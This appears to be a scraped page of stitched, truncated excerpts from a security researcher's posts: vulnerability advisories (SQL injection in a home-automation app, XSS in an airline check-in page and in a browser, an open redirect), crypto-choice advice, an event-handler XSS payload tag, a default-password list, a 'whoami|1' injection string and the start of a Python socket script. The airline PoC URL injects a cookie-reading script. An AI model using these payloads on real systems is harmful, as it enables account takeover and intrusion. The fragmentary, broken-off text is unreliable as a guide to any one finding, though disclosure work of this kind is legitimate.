xsuperbug

<a onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" o

xsuperbug

Encrypting data (Was: AES-CTR with HMAC): Use, in order of preference: (1) The Nacl/libsodium default, (2) Chacha20-Poly1305, or (3) AES-GCM.

You care about this if: you're hiding information from users or the network.

All three options get you "AEAD", which is the only way you want to encrypt in 2015. Options (2) and (3) are morally the same thing: a stream cipher with a polynomial ("thermonuclear CRC") MAC. Option (2) gets there with a native stream cipher and a MAC optimized for general purpose CPUs; Poly1305 is also easier than GCM for library designers to implement safely. Option (3)'s AES-GCM is the industry standard; it's fast and usually hardware accelerated on modern processors, but has implementation safety pitfalls on platforms that aren't accelerated.

Avoid: AES-CBC, AES-CTR by itself, block ciphers with 64-bit blocks --- most especially Blowfish, which is inexplicably popular, OFB mode. Don't ever use RC4, which is comically broken.

Symmetric key length (Was: Use 256 bit keys

xsuperbug

Name : PIHOME RaspberryPi - Home Automation
Vendor Homepage : http://pihome.harkemedia.de/
Vulnerability Type : Sql Injection
Researcher : Evren Yalçın <evren [at] superbug [dot] co> 

Details :

1- Sql Injection :

Source Code:

xsuperbug

Name : United Airlines XSS Vulnerability
Vendor Homepage : http://www.united.com
Vulnerability Type : Cross-Site Scripting 
Researcher : Evren Yalçın <evren [at] superbug [dot] co> 

Example PoC is as follows :

http://www.united.com/travel/checkin/start.aspx?SID=&sessionKey=0DA191E8-342A-4FBE-A511-21C8702546D4&gLanguage=0&pat=False&code=PNR_NOT_FOUND_BY_ETICKET_LAST_NAME"><svg/onload=confirm(document.cookie)>//&opt=ET&1=&2=&3=123123123&4=

----

xsuperbug

Name : Active Content Blocking Bypass via Data URIs in Vivaldi Browser
Software : Vivaldi Browser 1.0.83.38 (Developer Build) stable
Vendor Homepage : http://www.vivaldi.net
Vulnerability Type : Cross-Site Scripting 
Researcher : Evren Yalçın <evren [at] superbug [dot] co> 

Description 
Vivaldi is a freeware web browser developed by Vivaldi Technologies, a company founded by former co-founder and CEO of Opera, Jon Stephenson von Tetzchner.The project's slogan is "A new browser for our friends", and the browser is aimed at hardcore technologists, heavy internet users, and previous Opera browser users disgruntled by Opera's transition from the Presto engine to Blink, which removed many popular features.

Details 

xsuperbug

Zafiyet Hakkında
================
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
 
Proof of concept
================
Dosya yükleme modülünde uzantı ve içerik kontrolü yapılmadığı için sisteme zararlı içerik yeklenebilmektedir.
(Not : XSS zafiyetinin çalışması için bağlantıda değişiklik yapılmıştır.)

Dosyanın bulunduğu hatalı sayfa:

xsuperbug

Zafiyet Hakkında
================
https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet
 
Proof of concept
================
https://sso.tpo.com/members/edit?success_url=//google.com

Zaman Çizelgesi

xsuperbug

admin
test 
secret
guest 
1234 
123456 
demo123 
demo 
password123 
password1 

xsuperbug

whoami|1

xsuperbug

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import socket
import random
import time 
dosya = open("liste.txt","r")
ipAddress=[]
for i in dosya:
	ipAddr = i
	hexAllFfff = "18446744073709551615"